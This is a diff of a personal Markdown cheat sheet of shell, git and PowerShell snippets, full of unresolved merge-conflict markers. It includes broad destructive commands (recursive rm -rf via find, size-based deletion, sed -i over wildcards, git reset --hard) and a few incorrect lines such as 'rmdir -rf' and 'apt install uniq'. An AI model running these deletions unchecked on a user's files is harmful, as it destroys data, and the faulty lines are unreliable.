 find . -name 'deleteme.txt' -type f -prune -exec rm -rf '{}' +
-
 find . -name 'right.html' -type f -prune -exec rm -rf '{}' +
-
 find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 19. Remove lines containing string
 
@@ -584,45 +1234,58 @@ find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
 
 ```sh
 
+=======
+## 19. Remove lines containing string
+### Description
+> Notes: Remove lines not containing `'.js'`
+```bash
+>>>>>>> master
 sudo sed -i '/\.js/!d' ./*scrap2.md
-
 ```
+<<<<<<< HEAD
 
 ## ## code
 
 ```sh
+=======
+###### code
+```bash
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
-
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
-
 sudo sed -i '/github\.com/d' ./*out.md
-
 sudo sed -i '/author/d' ./*
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 20. Remove duplicate lines from a text file
 
 ## Description
 
+=======
+## 20. Remove duplicate lines from a text file
+### Description
+>>>>>>> master
 > Notes:
 > //...syntax of uniq...//
 > $uniq [OPTION] [INPUT[OUTPUT]]
 > The syntax of this is quite easy to understand. Here, INPUT refers to the input file in which repeated lines need to be filtered out and if INPUT isn't specified then uniq reads from the standard input. OUTPUT refers to the output file in which you can store the filtered output generated by uniq command and as in case of INPUT if OUTPUT isn't specified then uniq writes to the standard output.
-
 Now, let's understand the use of this with the help of an example. Suppose you have a text file named kt.txt which contains repeated lines that needs to be omitted. This can simply be done with uniq.
+<<<<<<< HEAD
 
 ## ## code
 
 ```sh
+=======
+###### code
+```bash
+>>>>>>> master
 sudo apt install uniq
 uniq -u input.txt output.txt
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 21. Remove lines containing string
 
@@ -633,34 +1296,34 @@ uniq -u input.txt output.txt
 ## ## code
 
 ```sh
+=======
+## 21. Remove lines containing string
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
-
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
-
 sudo sed -i '/github\.com/d' ./*out.md
-
 ---
 title: add_days
 tags: date,intermediate
 firstSeen: 2020-10-28T16:19:04+02:00
 lastUpdated: 2020-10-28T16:19:04+02:00
 ---
-
 sudo sed -i '/title:/d' ./*output.md
 sudo sed -i '/firstSeen/d' ./*output.md
 sudo sed -i '/lastUpdated/d' ./*output.md
 sudo sed -i '/tags:/d' ./*output.md
-
 sudo sed -i '/badstring/d' ./*
-
 sudo sed -i '/stargazers/d' ./repo.txt
 sudo sed -i '/node_modules/d' ./index.html
 sudo sed -i '/right\.html/d' ./index.html
 sudo sed -i '/right\.html/d' ./right.html
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 22. Zip directory excluding .git and node_modules all the way down (Linux)
 
@@ -673,10 +1336,18 @@ sudo sed -i '/right\.html/d' ./right.html
 ```sh
 
 #!/bin/bash
+=======
+## 22. Zip directory excluding .git and node_modules all the way down (Linux)
+### Descriptio: zip up an entire git directory
+> Notes:
+###### code
+```bash
+# !/bin/bash
+>>>>>>> master
 TSTAMP=`date '+%Y%m%d-%H%M%S'`
 zip -r $1.$TSTAMP.zip $1 -x "**.git/*" -x "**node_modules/*" `shift; echo $@;`
-
 printf "\nCreated: $1.$TSTAMP.zip\n"
+<<<<<<< HEAD
 
 # usage:
 # - zipdir thedir
@@ -685,9 +1356,16 @@ printf "\nCreated: $1.$TSTAMP.zip\n"
 # if in windows/git-bash, add 'zip' command this way:
 # https://stackoverflow.com/a/55749636/1482990
 
+=======
+## usage:
+## - zipdir thedir
+## - zip thedir -x "anotherexcludedsubdir"    (important the double quotes to prevent glob expansion)
+## if in windows/git-bash, add 'zip' command this way:
+## https://stackoverflow.com/a/55749636/1482990
+>>>>>>> master
 ```
-
 ---
+<<<<<<< HEAD
 
 # 23. Delete files containing a certain string
 
@@ -699,12 +1377,19 @@ printf "\nCreated: $1.$TSTAMP.zip\n"
 
 ```sh
 find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' >  doit.sh
+=======
+## 23. Delete files containing a certain string
+### Description
+> Notes:
+###### code
+```bash
+find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' > doit.sh
+>>>>>>> master
 vi doit.sh // check for murphy and his law
 source doit.sh
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 24
 
@@ -937,21 +1622,187 @@ cmd $listing --sort=extension > > $html
 
 ```sh
 
+=======
+## 24 Generate sitemap
+### Description
+> Notes: bash command to auto generate sitemap.html which will list all files contained within parent directory.
+###### code
+```bash
+# !/bin/sh
+## find ./ | grep -i "\.*$" >files
+find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
+listing="files"
+out=""
+html="sitemap.html"
+out="basename $out.html"
+html="sitemap.html"
+cmd() {
+  echo '  <!DOCTYPE html>'
+  echo '<html>'
+  echo '<head>'
+  echo '  <meta http-equiv="Content-Type" content="text/html">'
+  echo '  <meta name="Author" content="Bryan Guner">'
+  echo '<link rel="stylesheet" href="./assets/prism.css">'
+  echo ' <link rel="stylesheet" href="./assets/style.css">'
+  echo ' <script async defer src="./assets/prism.js"></script>'
+  echo "  <title> directory </title>"
+    echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/mdn-article.css">'
+  echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/markdown-to-html-style.css">'
+  echo ""
+  echo '<style>'
+echo '    a {'
+echo '      color: black;'
+echo '    }'
+echo ''
+echo '    li {'
+echo '      border: 1px solid black !important;'
+echo '      font-size: 20px;'
+echo '      letter-spacing: 0px;'
+echo '      font-weight: 700;'
+echo '      line-height: 16px;'
+echo '      text-decoration: none !important;'
+echo '      text-transform: uppercase;'
+echo '      background: #194ccdaf !important;'
+echo '      color: black !important;'
+echo '      border: none;'
+echo '      cursor: pointer;'
+echo '      justify-content: center;'
+echo '      padding: 30px 60px;'
+echo '      height: 48px;'
+echo '      text-align: center;'
+echo '      white-space: normal;'
+echo '      border-radius: 10px;'
+echo '      min-width: 45em;'
+echo '      padding: 1.2em 1em 0;'
+echo '      box-shadow: 0 0 5px;'
+echo '      margin: 1em;'
+echo '      display: grid;'
+echo '      -webkit-border-radius: 10px;'
+echo '      -moz-border-radius: 10px;'
+echo '      -ms-border-radius: 10px;'
+echo '      -o-border-radius: 10px;'
+echo '    }'
+echo '  </style>'
+  echo '</head>'
+  echo '<body>'
+  echo ""
+  # continue with the HTML stuff
+  echo ""
+  echo ""
+  echo "<ul>"
+  awk '{print "<li><a href=\""$1"\">",$1,"&nbsp;</a></li>"}' $listing
+  # awk '{print "<li>"};
+  #  {print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
+  echo ""
+  echo "</ul>"
+  echo "</body>"
+  echo "</html>"
+}
+cmd $listing --sort=extension >>$html
+```
+---
+## 25. Index of Iframes
+### Description: Creates an index.html file that contains all the files in the working directory or any of it's sub folders as iframes instead of anchor tags
+> Notes: Useful Follow up Code:
+```bash
+```
+###### code
+```bash
+# !/bin/sh
+## find ./ | grep -i "\.*$" >files
+find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
+listing="files"
+out=""
+html="index.html"
+out="basename $out.html"
+html="index.html"
+cmd() {
+  echo '  <!DOCTYPE html>'
+  echo '<html>'
+  echo '<head>'
+  echo '  <meta http-equiv="Content-Type" content="text/html">'
+  echo '  <meta name="Author" content="Bryan Guner">'
+  echo '<link rel="stylesheet" href="./assets/prism.css">'
+  echo ' <link rel="stylesheet" href="./assets/style.css">'
+  echo ' <script async defer src="./assets/prism.js"></script>'
+  echo "  <title> directory </title>"
+  echo ""
+  echo '<style>'
+echo '    a {'
+echo '      color: black;'
+echo '    }'
+echo ''
+echo '    li {'
+echo '      border: 1px solid black !important;'
+echo '      font-size: 20px;'
+echo '      letter-spacing: 0px;'
+echo '      font-weight: 700;'
+echo '      line-height: 16px;'
+echo '      text-decoration: none !important;'
+echo '      text-transform: uppercase;'
+echo '      background: #194ccdaf !important;'
+echo '      color: black !important;'
+echo '      border: none;'
+echo '      cursor: pointer;'
+echo '      justify-content: center;'
+echo '      padding: 30px 60px;'
+echo '      height: 48px;'
+echo '      text-align: center;'
+echo '      white-space: normal;'
+echo '      border-radius: 10px;'
+echo '      min-width: 45em;'
+echo '      padding: 1.2em 1em 0;'
+echo '      box-shadow: 0 0 5px;'
+echo '      margin: 1em;'
+echo '      display: grid;'
+echo '      -webkit-border-radius: 10px;'
+echo '      -moz-border-radius: 10px;'
+echo '      -ms-border-radius: 10px;'
+echo '      -o-border-radius: 10px;'
+echo '    }'
+echo '  </style>'
+  echo '</head>'
+  echo '<body>'
+  echo ""
+  # continue with the HTML stuff
+  echo ""
+  echo ""
+  echo "<ul>"
+  awk '{print "<iframe src=\""$1"\">","</iframe>"}' $listing
+  # awk '{print "<li>"};
+  #  {print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
+  echo ""
+  echo "</ul>"
+  echo "</body>"
+  echo "</html>"
+}
+cmd $listing --sort=extension >>$html
+```
+---
+## 26. Filter Corrupted Git Repo For Troublesome File
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_index.html' HEAD
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 27. OVERWRITE LOCAL CHANGES
 
 ## Description
 
+=======
+## 27. OVERWRITE LOCAL CHANGES
+### Description
+>>>>>>> master
 Important: If you have any local changes, they will be lost. With or without --hard option, any local commits that haven't been pushed will be lost.[*]
 If you have any files that are not tracked by Git (e.g. uploaded user content), these files will not be affected.
-
 > Notes:
 > First, run a fetch to update all origin/<branch> refs to latest:
+<<<<<<< HEAD
 
 ## ## code
 
@@ -971,19 +1822,35 @@ git reset --hard origin/<branch_name>
 # git fetch downloads the latest from remote without trying to merge or rebase anything.
 
 # Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master
+=======
+###### code
+```bash
+git fetch --all
+## Backup your current branch:
+git branch backup-master
+## Then, you have two options:
+git reset --hard origin/master
+## OR If you are on some other branch:
+git reset --hard origin/<branch_name>
+## Explanation:
+## git fetch downloads the latest from remote without trying to merge or rebase anything.
+## Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master
+>>>>>>> master
 git fetch --all
 git reset --hard origin/master
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 28. Remove Submodules
 
 ## Description: To remove a submodule you need to
 
+=======
+## 28. Remove Submodules
+### Description: To remove a submodule you need to
+>>>>>>> master
 > Notes:
-
 > Delete the relevant section from the .gitmodules file.
 > Stage the .gitmodules changes git add .gitmodules
 > Delete the relevant section from .git/config.
@@ -991,14 +1858,19 @@ git reset --hard origin/master
 > Run rm -rf .git/modules/path_to_submodule (no trailing slash).
 > Commit git commit -m "Removed submodule "
 > Delete the now untracked submodule files rm -rf path_to_submodule
+<<<<<<< HEAD
 
 ## ## code
 
 ```sh
+=======
+###### code
+```bash
+>>>>>>> master
 git submodule deinit
 ```
-
 ---
+<<<<<<< HEAD
 
 # 29. GET GISTS
 
@@ -1009,19 +1881,21 @@ git submodule deinit
 ## ## code
 
 ```sh
+=======
+## 29. GET GISTS
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 sudo apt install wget
-
 wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
-
 wget -q -O - https://api.github.com/users/amitness/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
-
 wget -q -O - https://api.github.com/users/drodsou/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
-
 wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 30. Remove Remote OriginL
 
@@ -1033,11 +1907,17 @@ wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F
 
 ```sh
 
+=======
+## 30. Remove Remote OriginL
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 git remote remove origin
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 31. just clone .git folder
 
@@ -1049,11 +1929,17 @@ git remote remove origin
 
 ```sh
 
+=======
+## 31. just clone .git folder
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 32. Undo recent pull request
 
@@ -1065,11 +1951,17 @@ git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-We
 
 ```sh
 
+=======
+## 32. Undo recent pull request
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 git reset --hard master@{"10 minutes ago"}
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 33. Lebab
 
@@ -1082,6 +1974,14 @@ git reset --hard master@{"10 minutes ago"}
 ```sh
 # Safe:
 
+=======
+## 33. Lebab
+### Description: ES5 --> ES6
+> Notes:
+###### code
+```bash
+## Safe:
+>>>>>>> master
  lebab --replace ./ --transform arrow
  lebab --replace ./ --transform arrow-return
  lebab --replace ./ --transform for-of
@@ -1091,9 +1991,13 @@ git reset --hard master@{"10 minutes ago"}
  lebab --replace ./ --transform obj-method
  lebab --replace ./ --transform obj-shorthand
  lebab --replace ./ --transform multi-var
+<<<<<<< HEAD
 
 # ALL:
 
+=======
+## ALL:
+>>>>>>> master
 lebab --replace ./ --transform obj-method
 lebab --replace ./ --transform class
 lebab --replace ./ --transform arrow
@@ -1123,10 +2027,9 @@ lebab --replace ./ --transform template
 lebab --replace ./ --transform default-param
 lebab --replace ./ --transform  destruct-param
 lebab --replace ./ --transform includes
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 34. Troubleshoot Ubuntu Input/Output Error
 
@@ -1136,15 +2039,18 @@ lebab --replace ./ --transform includes
 
 ## ## code
 
+=======
+## 34. Troubleshoot Ubuntu Input/Output Error
+### Description: Open Powershell as Administrator
+> Notes:
+###### code
+>>>>>>> master
 ```ps1
-
  wsl.exe --shutdown
-
  Get-Service LxssManager | Restart-Service
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 35. Export Medium as Markdown
 
@@ -1159,9 +2065,18 @@ npm i mediumexporter -g
 
 mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 > ds.md
 
+=======
+## 35. Export Medium as Markdown
+### Description
+> Notes:
+###### code
+```bash
+npm i mediumexporter -g
+mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 >ds.md
+>>>>>>> master
 ```
-
 ---
+<<<<<<< HEAD
 
 # 36. Delete files in violation of a given size range (100MB for git)
 
@@ -1173,13 +2088,18 @@ mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascrip
 
 ```sh
 
+=======
+## 36. Delete files in violation of a given size range (100MB for git)
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find . -size +75M -a -print -a -exec rm -f {} \;
-
 find . -size +98M -a -print -a -exec rm -f {} \;
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 37. download all links of given file type
 
@@ -1191,11 +2111,17 @@ find . -size +98M -a -print -a -exec rm -f {} \;
 
 ```sh
 
+=======
+## 37. download all links of given file type
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 wget -r -A.pdf https://overapi.com/git
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 38. Kill all node processes
 
@@ -1206,11 +2132,17 @@ wget -r -A.pdf https://overapi.com/git
 ## ## code
 
 ```sh
+=======
+## 38. Kill all node processes
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 killall -s KILL node
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 39. Remove string from file names recursively
 
@@ -1221,20 +2153,31 @@ killall -s KILL node
 ```sh
 find <mydir>  -type f -exec sed -i 's/<string1> /<string2> /g' {} +
 
+=======
+## 39. Remove string from file names recursively
+### Description: In the example below I am using this command to remove the string "-master" from all file names in the working directory and all of it's sub directories
+###### code
+```bash
+find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} +
+>>>>>>> master
 find . -type f -exec rename 's/-master//g' {} +
-
 ```
+<<<<<<< HEAD
 
 > Notes: The same could be done for folder names by changing the _-type f_ flag (for file) to a _-type d_ flag (for directory)
 
 ```sh
 find <mydir>  -type d -exec sed -i 's/<string1> /<string2> /g' {} +
 
+=======
+> Notes: The same could be done for folder names by changing the*-type f*flag (for file) to a*-type d*flag (for directory)
+```bash
+find <mydir> -type d -exec sed -i 's/<string1>/<string2>/g' {} +
+>>>>>>> master
 find . -type d -exec rename 's/-master//g' {} +
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 40. Remove spaces from file and folder names recursively
 
@@ -1246,11 +2189,18 @@ find . -type d -exec rename 's/-master//g' {} +
 
 ```sh
 
+=======
+## 40. Remove spaces from file and folder names recursively
+### Description: replaces spaces in file and folder names with an `_` underscore
+> Notes: need to run `sudo apt install rename` to use this command
+###### code
+```bash
+>>>>>>> master
 find . -name "* *" -type d | rename 's/ /_/g'
 find . -name "* *" -type f | rename 's/ /_/g'
 ```
-
 ---
+<<<<<<< HEAD
 
 # 41. Zip Each subdirectories in a given directory into their own zip file
 
@@ -1263,9 +2213,17 @@ find . -name "* *" -type f | rename 's/ /_/g'
 ```sh
 for i in */; do zip -r "${i%/}.zip" "$i"; done
 
+=======
+## 41. Zip Each subdirectories in a given directory into their own zip file
+### Description
+> Notes:
+###### code
+```bash
+for i in*/; do zip -r "${i%/}.zip" "$i"; done
+>>>>>>> master
 ```
-
 ---
+<<<<<<< HEAD
 
 # 90
 
@@ -1277,30 +2235,35 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ## ## code
 
+=======
+## 91. Unzip PowerShell
+### Description
+> Notes:
+###### code
+>>>>>>> master
 ```ps1
-
 PARAM (
     [string] $ZipFilesPath = "./",
     [string] $UnzipPath = "./RESULT"
 )
-
 $Shell = New-Object -com Shell.Application
 $Location = $Shell.NameSpace($UnzipPath)
-
 $ZipFiles = Get-Childitem $ZipFilesPath -Recurse -Include *.ZIP
-
 $progress = 1
 foreach ($ZipFile in $ZipFiles) {
-    Write-Progress -Activity "Unzipping to $($UnzipPath)" -PercentComplete (($progress / ($ZipFiles.Count + 1)) * 100) -CurrentOperation $ZipFile.FullName -Status "File $($Progress) of $($ZipFiles.Count)"
+Write-Progress -Activity "Unzipping to $($UnzipPath)" -PercentComplete (($progress / ($ZipFiles.Count + 1))* 100) -CurrentOperation $ZipFile.FullName -Status "File $($Progress) of $($ZipFiles.Count)"
     $ZipFolder = $Shell.NameSpace($ZipFile.fullname)
+<<<<<<< HEAD
 
     $Location.Copyhere($ZipFolder.items(), 1040) # 1040 - No msgboxes to the user - http://msdn.microsoft.com/en-us/library/bb787866%28VS.85%29.aspx
+=======
+    $Location.Copyhere($ZipFolder.items(), 1040) # 1040 - No msgboxes to the user - https://msdn.microsoft.com/library/bb787866%28VS.85%29.aspx
+>>>>>>> master
     $progress++
 }
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 92. return to bash from zsh
 
@@ -1311,11 +2274,17 @@ foreach ($ZipFile in $ZipFiles) {
 ## ## code
 
 ```sh
+=======
+## 92. return to bash from zsh
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
  sudo apt --purge remove zsh
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 93. Symbolic Link
 
@@ -1327,13 +2296,18 @@ foreach ($ZipFile in $ZipFiles) {
 
 ```sh
 
+=======
+## 93. Symbolic Link
+### Description: to working directory
+> Notes:
+###### code
+```bash
+>>>>>>> master
 ln -s "$(pwd)" ~/NameOfLink
-
 ln -s "$(pwd)" ~/Downloads
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 94. auto generate readme
 
@@ -1345,11 +2319,17 @@ ln -s "$(pwd)" ~/Downloads
 
 ```sh
 
+=======
+## 94. auto generate readme
+### Description: rename existing readme to blueprint.md
+> Notes:
+###### code
+```bash
+>>>>>>> master
 npx @appnest/readme generate
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 95. Log into postgres
 
@@ -1360,13 +2340,23 @@ npx @appnest/readme generate
 ## ## code
 
 ```sh
+=======
+## 95. Log into postgres
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 sudo -u postgres psql
 ```
-
 ---
+<<<<<<< HEAD
 
 ## Technologies Used
 
+=======
+## 96. URL To Subscribe To YouTube Channel
+>>>>>>> master
 | URL                  | <https://bgoonz-blog.netlify.app>                        |
 |----------------------|----------------------------------------------------------|
 | Miscellaneous        | webpack ; Prism                                          |
@@ -1381,6 +2371,7 @@ sudo -u postgres psql
 | Tag managers         | Google Tag Manager                                       |
 | Live chat            | Smartsupp ; LiveChat : Mesibo API                        |
 | JavaScript libraries | Lodash ; Dojo ; core-js ; jQuery                         |
+<<<<<<< HEAD
 
 </div>
 
@@ -1388,37 +2379,41 @@ sudo -u postgres psql
 
 # 96. URL To Subscribe To YouTube Channel
 
+=======
+---
+## 96. URL To Subscribe To YouTube Channel
+>>>>>>> master
 ## Description
-
 > Notes:
+<<<<<<< HEAD
 
 ## ## code
 
+=======
+###### code
+>>>>>>> master
 ```txt
-
 https://www.youtube.com/channel/UC1HDa0wWnIKUf-b4yY9JecQ?sub_confirmation=1
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 97. Embed Repl.it In Medium Post
 
 ## ## code
 
+=======
+## 97. Embed Repl.it In Medium Post
+###### code
+>>>>>>> master
 ```txt
-
 https://repl.it/@bgoonz/Data-Structures-Algos-Codebase?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
 https://repl.it/@bgoonz/node-db1-project?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
 https://repl.it/@bgoonz/interview-prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
 https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
 ```
-
 ---
+<<<<<<< HEAD
 
 # 98
 
@@ -1430,19 +2425,474 @@ https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryan
 
 ```sh
 
+=======
+## 98 rRmove text target="parent" from files called right.html
+### Description
+> Notes:
+###### code
+```bash
+>>>>>>> master
 find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
-
-find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
-
+find . -name*right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 ```
+<<<<<<< HEAD
 
+=======
+## 99. Cheat Sheet
+### Description
+> Notes:
+###### code
+```bash
+# !/bin/bash
+revert
+## SHORTCUTS and HISTORY
+CTRL+A  # move to beginning of line
+CTRL+B  # moves backward one character
+CTRL+C  # halts the current command
+CTRL+D  # deletes one character backward or logs out of current session, similar to exit
+CTRL+E  # moves to end of line
+CTRL+F  # moves forward one character
+CTRL+G  # aborts the current editing command and ring the terminal bell
+CTRL+H  # deletes one character under cursor (same as DELETE)
+CTRL+J  # same as RETURN
+CTRL+K  # deletes (kill) forward to end of line
+CTRL+L  # clears screen and redisplay the line
+CTRL+M  # same as RETURN
+CTRL+N  # next line in command history
+CTRL+O  # same as RETURN, then displays next line in history file
+CTRL+P  # previous line in command history
+CTRL+Q  # resumes suspended shell output
+CTRL+R  # searches backward
+CTRL+S  # searches forward or suspends shell output
+CTRL+T  # transposes two characters
+CTRL+U  # kills backward from point to the beginning of line
+CTRL+V  # makes the next character typed verbatim
+CTRL+W  # kills the word behind the cursor
+CTRL+X  # lists the possible filename completions of the current word
+CTRL+Y  # retrieves (yank) last item killed
+CTRL+Z  # stops the current command, resume with fg in the foreground or bg in the background
+ALT+B   # moves backward one word
+ALT+D   # deletes next word
+ALT+F   # moves forward one word
+ALT+H   # deletes one character backward
+ALT+T   # transposes two words
+ALT+.   # pastes last word from the last command. Pressing it repeatedly traverses through command history.
+ALT+U   # capitalizes every character from the current cursor position to the end of the word
+ALT+L   # uncapitalizes every character from the current cursor position to the end of the word
+ALT+C   # capitalizes the letter under the cursor. The cursor then moves to the end of the word.
+ALT+R   # reverts any changes to a command you've pulled from your history if you've edited it.
+ALT+?   # list possible completions to what is typed
+ALT+^   # expand line to most recent match from history
+CTRL+X then (   # start recording a keyboard macro
+CTRL+X then )   # finish recording keyboard macro
+CTRL+X then E   # recall last recorded keyboard macro
+CTRL+X then CTRL+E   # invoke text editor (specified by $EDITOR) on current command line then execute resultes as shell commands
+BACKSPACE  # deletes one character backward
+DELETE     # deletes one character under cursor
+history   # shows command line history
+!!        # repeats the last command
+!<n>      # refers to command line 'n'
+!<string> # refers to command starting with 'string'
+exit      # logs out of current session
+## BASH BASICS
+env                 # displays all environment variables
+echo $SHELL         # displays the shell you're using
+echo $BASH_VERSION  # displays bash version
+bash                # if you want to use bash (type exit to go back to your previously opened shell)
+whereis bash        # locates the binary, source and manual-page for a command
+which bash          # finds out which program is executed as 'bash' (default: /bin/bash, can change across environments)
+clear               # clears content on window (hide displayed lines)
+## FILE COMMANDS
+ls                            # lists your files in current directory, ls <dir> to print files in a specific directory
+ls -l                         # lists your files in 'long format', which contains the exact size of the file, who owns the file and who has the right to look at it, and when it was last modified
+ls -a                         # lists all files in 'long format', including hidden files (name beginning with '.')
+ln -s <filename> <link>       # creates symbolic link to file
+readlink <filename>           # shows where a symbolic links points to
+tree                          # show directories and subdirectories in easilly readable file tree
+mc                            # terminal file explorer (alternative to ncdu)
+touch <filename>              # creates or updates (edit) your file
+mktemp -t <filename>            # make a temp file in /tmp/ which is deleted at next boot (-d to make directory)
+cat <filename>                # prints file raw content (will not be interpreted)
+any_command > <filename>      # '>' is used to perform redirections, it will set any_command's stdout to file instead of "real stdout" (generally /dev/stdout)
+more <filename>               # shows the first part of a file (move with space and type q to quit)
+head <filename>               # outputs the first lines of file (default: 10 lines)
+tail <filename>               # outputs the last lines of file (useful with -f option) (default: 10 lines)
+vim <filename>                # opens a file in VIM (VI iMproved) text editor, will create it if it doesn't exist
+mv <filename1> <dest>         # moves a file to destination, behavior will change based on 'dest' type (dir: file is placed into dir; file: file will replace dest (tip: useful for renaming))
+cp <filename1> <dest>         # copies a file
+rm <filename>                 # removes a file
+find . -name <name> <type>    # searches for a file or a directory in the current directory and all its sub-directories by its name
+diff <filename1> <filename2>  # compares files, and shows where they differ
+wc <filename>                 # tells you how many lines, words and characters there are in a file. Use -lwc (lines, word, character) to ouput only 1 of those informations
+sort <filename>               # sorts the contents of a text file line by line in alphabetical order, use -n for numeric sort and -r for reversing order.
+sort -t -k <filename>         # sorts the contents on specific sort key field starting from 1, using the field separator t.
+rev                           # reverse string characters (hello becomes olleh)
+chmod -options <filename>     # lets you change the read, write, and execute permissions on your files (more infos: SUID, GUID)
+gzip <filename>               # compresses files using gzip algorithm
+gunzip <filename>             # uncompresses files compressed by gzip
+gzcat <filename>              # lets you look at gzipped file without actually having to gunzip it
+lpr <filename>                # prints the file
+lpq                           # checks out the printer queue
+lprm <jobnumber>              # removes something from the printer queue
+genscript                     # converts plain text files into postscript for printing and gives you some options for formatting
+dvips <filename>              # prints .dvi files (i.e. files produced by LaTeX)
+grep <pattern> <filenames>    # looks for the string in the files
+grep -r <pattern> <dir>       # search recursively for pattern in directory
+head -n file_name | tail +n   # Print nth line from file.
+head -y lines.txt | tail +x   # want to display all the lines from x to y. This includes the xth and yth lines.
+## DIRECTORY COMMANDS
+mkdir <dirname>               # makes a new directory
+rmdir <dirname>               # remove an empty directory
+rmdir -rf <dirname>           # remove a non-empty directory
+mv <dir1> <dir2>              # rename a directory from <dir1> to <dir2>
+cd                            # changes to home
+cd ..                         # changes to the parent directory
+cd <dirname>                  # changes directory
+cp -r <dir1> <dir2>           # copy <dir1> into <dir2> including sub-directories
+pwd                           # tells you where you currently are
+cd ~                          # changes to home.
+cd -                        # changes to previous working directory
+## SSH, SYSTEM INFO & NETWORK COMMANDS
+ssh user@host            # connects to host as user
+ssh -p <port> user@host  # connects to host on specified port as user
+ssh-copy-id user@host    # adds your ssh key to host for user to enable a keyed or passwordless login
+whoami                   # returns your username
+passwd                   # lets you change your password
+quota -v                 # shows what your disk quota is
+date                     # shows the current date and time
+cal                      # shows the month's calendar
+uptime                   # shows current uptime
+w                        # displays whois online
+finger <user>            # displays information about user
+uname -a                 # shows kernel information
+man <command>            # shows the manual for specified command
+df                       # shows disk usage
+du <filename>            # shows the disk usage of the files and directories in filename (du -s give only a total)
+last <yourUsername>      # lists your last logins
+ps -u yourusername       # lists your processes
+kill <PID>               # kills the processes with the ID you gave
+killall <processname>    # kill all processes with the name
+top                      # displays your currently active processes
+lsof                     # lists open files
+bg                       # lists stopped or background jobs ; resume a stopped job in the background
+fg                       # brings the most recent job in the foreground
+fg <job>                 # brings job to the foreground
+ping <host>              # pings host and outputs results
+whois <domain>           # gets whois information for domain
+dig <domain>             # gets DNS information for domain
+dig -x <host>            # reverses lookup host
+wget <file>              # downloads file
+time <command>             # report time consumed by command execution
+## VARIABLES
+varname=value                # defines a variable
+varname=value command        # defines a variable to be in the environment of a particular subprocess
+echo $varname                # checks a variable's value
+echo $$                      # prints process ID of the current shell
+echo $!                      # prints process ID of the most recently invoked background job
+echo $?                      # displays the exit status of the last command
+read <varname>               # reads a string from the input and assigns it to a variable
+read -p "prompt" <varname>   # same as above but outputs a prompt to ask user for value
